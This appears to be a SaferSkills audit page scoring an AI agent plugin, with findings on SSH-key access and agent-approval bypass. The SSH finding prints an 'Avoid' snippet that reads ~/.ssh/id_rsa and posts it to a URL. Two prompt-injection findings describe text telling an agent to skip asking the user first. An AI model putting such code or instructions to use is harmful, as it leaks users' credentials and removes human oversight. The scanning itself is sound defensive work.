Klaussy Agents— plugin

Klaussy Agents — independently scanned and version-tracked by SaferSkills.

Is Klaussy Agents safe to install?

SaferSkills independently audited Klaussy Agents (Plugin) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 2 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
Re-scan~30s
Latest scan
ScannedJun 28, 2026 · 129d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings2 warnings · 1 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
51
17.9 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 3 flagged

Securityscore 51 · 3 findings
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_secret_scan.py
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (("-----BEGIN RSA PRIVATE KEY-----", "private key…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_secret_scan.py· python
10[
11('aws = "AKIAIOSFODNN7EXAMPLE"', "AWS access key ID"),
12("-----BEGIN RSA PRIVATE KEY-----", "private key block"),
13('tok = "ghp_' + "a" * 36 + '"', "GitHub token"),
14('slack = "xoxb-123456789012-abcdefghijkl"', "Slack token"),
Occurrences
1 occurrence · at L12
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256d4c78a76431cc26e…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · src/klaussy/templates/forge/unknown.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptsrc/klaussy/templates/forge/unknown.md· markdown
103. If not, ask the user to paste the ticket or request content, and hand back the exact step
… (43 chars elided on L10)
11 
12Never invent a command, an endpoint, or a payload shape to fill the gap, and never ask the u
… (63 chars elided on L12)
13 
14<!-- forge:media -->
Occurrences
1 occurrence · at L12
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25614b7852251bf4666…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · CHANGELOG.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptCHANGELOG.md· markdown
1214denied. Detects the stack (including `scripts/` and Makefile runners that a
1215bare `Bash(pytest *)` rule misses) and the app's run command, allows shell
1216builtins so compound `cd x && <cmd>` lines don't prompt, and documents an
1217honest boundary: curated mode trusts the agent to run repo code, and per-tool
1218denies don't stop Bash reads of secret files. Broad mode is opt-in.
Occurrences
1 occurrence · at L1216
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256627f92ff2a5134a6…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.